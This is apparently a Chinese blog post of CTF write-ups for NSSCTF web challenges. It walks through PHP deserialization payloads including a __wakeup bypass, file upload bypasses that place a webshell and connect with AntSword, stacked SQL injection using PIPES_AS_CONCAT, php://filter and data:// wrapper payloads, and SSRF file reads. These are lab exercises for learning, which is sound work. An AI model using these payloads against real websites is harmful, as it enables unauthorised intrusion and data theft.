• NSSCTF做题


    [第五空间 2021]WebFTP

    打开题目 发现是登录的界面 用admin和password试一下发现不行

    用dirsearch扫一下

    发现了git泄露 但是用githack下载不下来文件 去网上查了一下webftp 发现是一个在线php文件管理系统

    WebFTP——在线FTP工具:强大的PHP在线文件管理系统-時日 在这篇博客中提到,引用一下

    发现能直接登录phpinfo.php 拿到flag

    [SWPUCTF 2021 新生赛]Do_you_know_http

    页面显示 请使用browser浏览器

    用bp抓包修改一下

     User- Agent中文名为用户代理,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识

    修改之后,发现页面显示成功 ,在Location里边有一个./a.php 访问一下

    访问后显示:

    用xff来伪造一下

     得到flag

    [SWPUCTF 2021 新生赛]ez_unserialize

    没找到什么东西,而且还抓不到包,用dirsearch扫一下

    打开看看这三个,在robots.txt找到了文件 打开看看

    找到了源码  开始分析

     

    error_reporting(0);
    show_source("cl45s.php");

    class wllm{//定义类

        public $admin;//公共变量
        public $passwd;

        public function __construct(){//__construct() 函数创建一个新的 SimpleXMLElement 对象
            $this->admin ="user";
            $this->passwd = "123456";构造函数接受两个参数user 和 123456,并将它们分别赋值给类的成员变量 admin 和 password
        }

            public function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法
            if($this->admin === "admin" && $this->passwd === "ctf"){//判断admin变量是不是等于admin,passwd变量是不是等于ctf
                include("flag.php");
                echo $flag;//如果是,得到flag
            }else{
                echo $this->admin;
                echo $this->passwd;
                echo "Just a bit more!";//不是的话得到这个
            }
        }
    }

    $p = $_GET['p'];//get传参p
    unserialize($p);//反序列化变量p

    ?>

    解题

    class wllm{

        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }
    }
    $a=new wllm();
    $a->admin ="admin";
    $a->passwd = "ctf";
    $b = serialize($a);
    echo $b
    ?>

     得到序列化

     

    构造payload:p=

    O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

    得到flag

     

    [SWPUCTF 2021 新生赛]easyupload1.0 

    传php小马

     

    传图片上去

    发现成功

    改文件类型试试

    上传成功,连接蚁剑

     得到flag发现这个是错的

    不在www目录下 去phpinfo里边看看

    果然找到了 flag

    附上源码

    session_start();
    echo "
    ";
    if(!isset($_SESSION['user'])){
        $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
    }

    if(isset($_FILES['uploaded'])) {
        $target_path  = "./upload";
        $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
        $uploaded_name = $_FILES['uploaded']['name'];
        $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
        $uploaded_size = $_FILES['uploaded']['size'];
        $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];

        if($_FILES["uploaded"]["size"] > 2048){
            die("文件太大了0.0");
        }
     
        if ((($_FILES["uploaded"]["type"] == " ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/gif")|| ($_FILES["uploaded"]["type"] == "image/png")) )
        {
            $content = file_get_contents($uploaded_tmp);
            move_uploaded_file($uploaded_tmp, $t_path);
            echo "{$t_path} succesfully uploaded!";
        }
        else
        {
            die("想啥呢!");
        }
    }

    else
    {
        die("什么都不传就想白给f1ag??");
    }

    ?>

    [SWPUCTF 2021 新生赛]easyupload2.0 

    正常上传小马

     

     上传一句话木马失败

    上传照片试一试

     上传照片成功,用bp抓包改一下类型看看

    还是不行,把后缀改掉试试,上传phtml文件 发现成功

     蚁剑链接

    在 /var/www/html/flag.php

     

    附源码

    session_start();
    echo "
    ";
    if(!isset($_SESSION['user'])){
        $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
    }

    if(isset($_FILES['uploaded']))
    {
        $target_path  =  "./upload";
        $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
        $uploaded_name = $_FILES['uploaded']['name'];
        $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
        $uploaded_size = $_FILES['uploaded']['size'];
        $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
     
        if(preg_match("/php|hta|ini/i", $uploaded_ext))
        {
            die("php是不行滴");
        }
        else
        {
            $content = file_get_contents($uploaded_tmp);
            move_uploaded_file($uploaded_tmp, $t_path);
            echo "{$t_path} succesfully uploaded!";
            }
    }

    else
    {
        die("不传🐎还想要f1ag?");
    }

    ?>

    [SWPUCTF 2021 新生赛]no_wakeup 

    点击首页超链接,发现了反序列化,来解析

     

    header("Content-type:text/html;charset=utf-8");
    error_reporting(0);
    show_source("class.php");

    class HaHaHa{//定义类


            public $admin;
            public $passwd;//公共变量

            public function __construct(){{//__construct() 函数创建一个新的 SimpleXMLElement 对象
                $this->admin ="user";//赋值为user
                $this->passwd = "123456";//赋值为123456
            }

            public function __wakeup(){//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用
                $this->passwd = sha1($this->passwd);//该方法使用函数对属性的值进行哈希处理
            }

            public function __destruct(){析构函数 __destruct 则是在对象被销毁之前自动调用的方法
                if($this->admin === "admin" && $this->passwd === "wllm"){//两个变量分别赋值为admin和wllm
                    include("flag.php");//如果成功,就得到flag
                    echo $flag;
                }else{
                    echo $this->passwd;
                    echo "No wake up";
                }
            }
        }

    $Letmeseesee = $_GET['p'];//变量Letmeseesee用get传参是p
    unserialize($Letmeseesee);反序列化变量Letmeseesee

    ?>

    class HaHaHa{


            public $admin;
            public $passwd;

            public function __construct(){
                $this->admin ="user";
                $this->passwd = "123456";
            }

            public function __wakeup(){
                $this->passwd = sha1($this->passwd);
            }
    }
    $a=new HaHaHa();
    $a->admin ="admin";
    $a->passwd = "wllm";
    $b = serialize($a);
    echo $b
    ?>

     得到序列化 然后在传参进行反序列化得到flag

     这里需要绕过__wakeup函数

    O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

    只要让他的类型>2就可以了 payload :

    ?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

    得到flag

     [suctf 2019]EasySQL

     

    尝试输入 1' and 1=1 发现不管是字符型还是数字型都显示nonon

     

    输入1 显示

     应该是堆叠注入

    看一下数据库信息,      1;show databases;

     找到了库 看表   1;show tables;

    找到了字段

     看到Flag表,猜测flag应该在Flag中。但是用1;show columns from Flag;无法回显出flag只会回显Nonono.  -->说明flag被过滤掉了(注:1;show columns from用来查询表中列名称)

     

    这里就涉及到了别的知识

    这道题在最初测试的时候:非0数字回显1,0和字母不会回显任何内容

    先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:

    command1 || command2
    c1和c2其中一侧为1则取1,否则取0

    这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 ||  一个列名 from 表名。(select 输入数据 || flag from Flag)

    mysql中||表示连接操作符,不表示或的逻辑。
     既然我们要找到flag,后端又存在“或” 的逻辑,那么只需要把||或的逻辑改成连接符的作用就可以了

    这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

     利用PIPES_AS_CONCAT令||起到连接符的作用。

    构建payload:

        1;set sql_mode=PIPES_AS_CONCAT;select 1

        注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

    由此回显出flag

    [SWPUCTF 2021 新生赛]PseudoProtocols 

    页面显示

     

    发现有参数 试试用php伪协议读取一下

    base64解码

     还是用php伪协议读取

    得到了一长串 解码发现了

    file_get_contents() 把整个文件读入一个字符串中。

    该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能

    ini_set("max_execution_time", "180");//最大执行时间180s
    show_source(__FILE__);
    include('flag.php');
    $a= $_GET["a"];
    if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){//get传参变量a,'r' 表示只读,让a等于I want flag
        echo "success\n";
        echo $flag;
    }
    ?>

     

    这里要让需要让 $a 所表示的文件的内容存放I want flag,就需要用到另外一个伪协议 data协议,在我之前写的博客里边也有体现

    data://伪协议,是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的
    格式:?file=data://text/plain,payload ?>
    如果对特殊字符进行了过滤,可以通过base64编码后再输入
    ?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=

     因为原本的输入字符会被过滤,所以要用base64加密

    构造的payload:

    test2222222222222.php?a=data://text/plain;base64,SSB3YW50IGZsYWc=(因为前边有base64编码,所以后边数据要用base64的格式)

    [NISACTF 2022]easyssrf

    我的博客里有详细的介绍,在这里就不详细的介绍了

    输入flag 反馈  

    说是ssrf 用file读取一下:

    访问一下这个网页

     

     他说flag在/flag里边 用file读取不了 直接用php伪协议读取

    php://filter/read=convert.base64-encode/resource=/flag

    解码得到flag NSSCTF{0202c5a3-75bf-4f0f-b315-0ddd83f691c7}

    [ZJCTF 2019]NiZhuanSiWei 

    这道题一共有三个需要注意的点

    1.if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//text要等于welcome to the zjctf

    2. if(preg_match("/flag/",$file)){//正则限制
            echo "Not now!";
            exit();
        }else{
            include($file);  //useless.php

    3.反序列化

    这三步需要一步一步来

    先看第一步,用data协议就可以

    1.text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=(这步在第8题有讲)

    2.因为有正则限制 如果有/flag/,就绕不过去,我们还要读取useless.php文件,就可以直接用filter协议来做

    file=php://filter/read=convert.base64-encode/resource=useless.php

    3.反序列化不知道条件 先看这两步

    成功绕过得到base64 编码 进行解码

    反序列化内容

    class Flag{  //flag.php  //定义类
        public $file;  //公共变量
        public function __tostring(){//public function __tostring() { ... }: 这是一个特殊的魔术方法 __toString(),在将对象转换为字符串时自动调用。
            if(isset($this->file)){  //检查是否设置了 $this->file
                echo file_get_contents($this->file);
                echo "
    ";
            return ("U R SO CLOSE !///COME ON PLZ");//使用 file_get_contents() 函数读取文件内容,并通过 echo 输出文件输出一个换行符
    。最后,返回字符串 "U R SO CLOSE
    !///COME ON PLZ"。
            }  
        } 

    $password = unserialize($password);

    同样要注意这句话 ,传参用password

    class Flag{  //flag.php  
        public $file="flag.php";  //这里要给file赋值!!!!
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file);
                echo "
    ";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }
    $a = new Flag();
    $b = serialize($a);
    echo $b
    ?> 

    最后的payload:

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

    到最后一步输入的时候发现绕不过去,但是每一部分的绕过的没有问题,最后发现是第二步的file=useless.php就可以了,如果用php伪协议就绕不过去,百思不得其解......

     成功绕过

    得到flag

    NSSCTF{fda7d4be-2e43-48f8-9cff-ae56f975c077} 

     

     

     

  • 相关阅读:
    Flutter 内嵌原生组件 for ios
    测试C#分词工具jieba.NET(续1:提取关键词及并行分词)
    王者荣耀-镜教学视频
    近地面无人机植被定量遥感与生理参数反演实践技术应用
    如何防止网络安全攻击
    前缀和实例1 (【模板】前缀和 )
    NoSQL - MongoDB 常见的shell操作 - 安装
    「PCB智能生产」MES系统在设备管理中的应用
    面试官:说说TCP如何实现可靠传输
    使用Spark SQL读取阿里云OSS的数据
  • 原文地址:https://blog.csdn.net/wwwwyyyrre/article/details/133238969